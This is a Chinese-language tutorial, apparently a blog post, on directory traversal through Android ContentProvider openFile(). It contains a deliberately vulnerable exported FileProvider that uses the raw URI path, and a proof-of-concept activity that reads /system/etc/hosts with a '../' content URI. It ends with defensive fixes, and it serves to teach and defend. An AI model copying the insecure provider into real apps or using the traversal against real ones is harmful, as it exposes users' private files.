漏洞原理
Android ContentProvider 组件 openFile 接口存在文件目录遍历安全漏洞,该漏洞源于对外暴露 Content Provider 组件的应用,没有对 Content Provider 组件的访问进行权限控制和对访问的目标文件的 Content Query Uri 进行有效判断,攻击者利用该应用暴露的 Content Provider 的 openFile() 接口进行文件目录遍历以达到访问任意可读文件的目的。
openFile() 接口
Android ContentProvider 提供了一个 API 接口 openFile() 来共享文件:
漏洞原理
对外暴露的 Content Provider 实现了 openFile() 接口,因此其他有相应调用该 Content Provider 权限的应用即可调用 Content Provider 的 openFile() 接口进行文件数据访问。但是如果没有进行 Content Provider 访问权限控制和对访问的目标文件的 Uri 进行有效判断,攻击者利用文件目录遍历访问任意可读文件。
漏洞触发前提条件
- 对外暴露的 Content Provider 组件实现了 openFile() 接口;
- 没有对所访问的目标文件 Uri 进行有效判断,如没有过滤限制如“
…/
”可实现任意可读文件的访问的 Content Query Uri。
漏洞程序
下面来编写一个具体的漏洞示例程序。
1、创建一个继承 Content Provider 类的 FileProvider 类,并重写 openFile() 方法:
public class FileProvider extends ContentProvider {
public FileProvider() {
}
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(getContext().getFilesDir(),uri.getPath());
if(file.exists()){
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
throw new FileNotFoundException(uri.getPath());
}
@Override
public int delete(Uri uri, String selection, String[] selectionArgs) {
// Implement this to handle requests to delete one or more rows.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public String getType(Uri uri) {
// TODO: Implement this to handle requests for the MIME type of the data
// at the given URI.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public Uri insert(Uri uri, ContentValues values) {
// TODO: Implement this to handle requests to insert a new row.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public boolean onCreate() {
// TODO: Implement this to initialize your content provider on startup.
return false;
}
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// TODO: Implement this to handle query requests from clients.
throw new UnsupportedOperationException("Not yet implemented");
}
@Override
public int update(Uri uri, ContentValues values, String selection,
String[] selectionArgs) {
// TODO: Implement this to handle requests to update one or more rows.
throw new UnsupportedOperationException("Not yet implemented");
}
}
2、在 Manifest.xml 文件中注册该组件并赋予 authorities,同时将 exposed 属性设为 true:
<provider
android:name=".contentProvider.FileProvider"
android:authorities="com.bwshen.app.FileProvider"
android:enabled="true"
android:exported="true" />
攻击程序
编写 POC 程序,借助上述存在漏洞的 ContentProvider 读取 /system/etc/hosts
文件的内容:
/**
* ContentProvider openfile目录穿越漏洞测试
*/
public class openFileActivity extends AppCompatActivity {
private static String TAG = "openFileActivity";
@Override
protected void onCreate(final Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_open_file);
Button Button1 = (Button) findViewById(R.id.bnt_openfile);
Button1.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String authorities = "com.bwshen.app.FileProvider";
String fileUri="content://" + authorities + "/../../../../system/etc/hosts";
ContentResolver cr = getContentResolver();
try {
FileInputStream in = (FileInputStream) cr.openInputStream(Uri.parse(fileUri));
byte[] buff =new byte[in.available()];
in.read(buff);
Log.e(TAG,new String(buff));
} catch ( IOException e) {
e.printStackTrace();
}
}
});
}
}
运行程序,点击 POC 按钮可以看到日志中成功读取到 /system/etc/hosts
:
漏洞防御
针对上述漏洞,有效的防御手段如下:
- 将不必要导出的 Content Provider 设置为不导出;
- 如果应用的 Content Provider 组件没有必要实现 openFile() 接口,建议去除没有必要的 openFile() 接口;
- 限制文件路径访问,对访问的目标文件的路径进行有效判断。